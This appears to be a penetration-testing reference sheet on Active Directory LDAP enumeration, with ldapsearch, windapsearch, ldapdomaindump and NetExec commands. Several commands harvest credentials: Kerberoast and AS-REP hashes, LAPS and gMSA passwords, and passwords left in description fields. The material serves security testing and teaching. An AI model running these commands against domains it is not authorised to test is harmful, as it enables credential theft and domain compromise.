AD LDAP Enumeration
Active Directory LDAP structure, anonymous and authenticated enumeration, LDAP filters, ldapsearch, ldapdomaindump, windapsearch, and extracting users/computers/groups/GPOs directly over port 389/636.
LDAP is the query protocol that backs everything in Active Directory. Even without PowerView or BloodHound, raw LDAP queries give you a full picture of the domain — users, groups, computers, GPOs, trusts, and ACLs. Anonymous binds leak object counts; authenticated binds leak everything.
LDAP Basics
| Port | Use |
|---|---|
| 389 (TCP/UDP) | LDAP (cleartext or STARTTLS) |
| 636 (TCP) | LDAPS (TLS-wrapped) |
| 3268 (TCP) | Global Catalog — cross-domain queries |
| 3269 (TCP) | Global Catalog over TLS |
Distinguished Name (DN) format:
CN=John Smith,OU=IT,DC=corp,DC=local
LDAP search filter syntax:
(objectClass=user) # all users
(&(objectClass=user)(sAMAccountName=john)) # specific user
(!(userAccountControl:1.2.840.113556.1.4.803:=2)) # enabled accounts
Anonymous / Null Bind Enumeration
Check if the DC allows unauthenticated LDAP queries:
# Test null bind
ldapsearch -x -H ldap://DC_IP -b "" -s base namingcontexts
# Enumerate base DN without credentials
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local"
# List all objects (anonymous — usually fails on hardened DCs)
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=*)" dn
Authenticated LDAP Enumeration
# All domain users
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName userPrincipalName memberOf
# All computers
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" "(objectClass=computer)" dnshostname operatingsystem
# All groups + members
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" "(objectClass=group)" cn member
# Domain Admins members
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member
# Kerberoastable accounts (have SPN, are users, are enabled)
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
sAMAccountName servicePrincipalName
# AS-REP roastable accounts (Kerberos pre-auth not required)
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" \
"(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# LAPS-enabled computers (ms-Mcs-AdmPwd attribute present)
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" "(objectClass=computer)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime dnshostname
# Accounts with passwords set to never expire
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName
# Password stored with reversible encryption
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))" sAMAccountName
windapsearch
Faster Python alternative to ldapsearch for structured AD queries:
# Enumerate users
python3 windapsearch.py -d corp.local -u user@corp.local -p 'password' --da
# Get all domain admins
python3 windapsearch.py -d corp.local -u user -p 'password' --da
# Enumerate computers
python3 windapsearch.py -d corp.local -u user -p 'password' --computers
# Kerberoastable users
python3 windapsearch.py -d corp.local -u user -p 'password' --kerberoastable
# Enumerate groups
python3 windapsearch.py -d corp.local -u user -p 'password' --groups
# Custom LDAP filter
python3 windapsearch.py -d corp.local -u user -p 'password' \
--custom "(objectClass=trustedDomain)"
ldapdomaindump
Dumps AD to JSON/HTML — good for reporting and offline analysis:
# Full dump
ldapdomaindump -u 'DOMAIN\user' -p 'password' ldap://DC_IP -o /tmp/ad_dump/
# Output files:
# domain_users.json / .html — all users + attributes
# domain_computers.json / .html
# domain_groups.json / .html
# domain_policy.json
# domain_trusts.json
# Review in browser
firefox /tmp/ad_dump/domain_users.html
NetExec LDAP Module
# Enumerate users over LDAP
nxc ldap DC_IP -u user -p 'password' --users
# Kerberoastable
nxc ldap DC_IP -u user -p 'password' --kerberoasting hashes.txt
# AS-REP roastable
nxc ldap DC_IP -u user -p 'password' --asreproast hashes.txt
# Dump LAPS passwords (if read access)
nxc ldap DC_IP -u user -p 'password' --laps
# BloodHound collection via LDAP
nxc ldap DC_IP -u user -p 'password' --bloodhound --collection All
# Password in description
nxc ldap DC_IP -u user -p 'password' --query "(description=*pass*)" sAMAccountName description
# gmsa passwords
nxc ldap DC_IP -u user -p 'password' --gmsa
UserAccountControl Flag Reference
Common UAC bit values used in LDAP filters:
| Bit (decimal) | Meaning |
|---|---|
| 2 | Account disabled |
| 32 | Lockout |
| 64 | Passwd not required |
| 128 | Encrypted text password allowed |
| 512 | Normal account (default) |
| 4096 | Workstation/computer account |
| 65536 | Password never expires |
| 4194304 | No pre-auth required (AS-REP roast) |
| 16777216 | Trusted for unconstrained delegation |
Filter syntax for bitwise AND: (attr:1.2.840.113556.1.4.803:=VALUE)
LDAP over TLS (LDAPS)
# Test if LDAPS is available
openssl s_client -connect DC_IP:636 -showcerts
# ldapsearch over TLS
ldapsearch -H ldaps://DC_IP -D "DOMAIN\user" -w 'password' \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName
# Skip cert verification (self-signed DC cert)
LDAPTLS_REQCERT=never ldapsearch -H ldaps://DC_IP ...
Common Attributes to Pull
| Attribute | Contains |
|---|---|
sAMAccountName | login name |
userPrincipalName | UPN (email-style) |
memberOf | group memberships |
servicePrincipalName | SPNs (Kerberoast) |
userAccountControl | account flags |
pwdLastSet | when password was last set (0 = never) |
lastLogonTimestamp | last logon (domain-replicated) |
description | often contains passwords in legacy setups |
ms-Mcs-AdmPwd | LAPS local admin password |
msDS-AllowedToActOnBehalfOfOtherIdentity | RBCD attribute |
msDS-GroupMSAMembership | gMSA password read permission |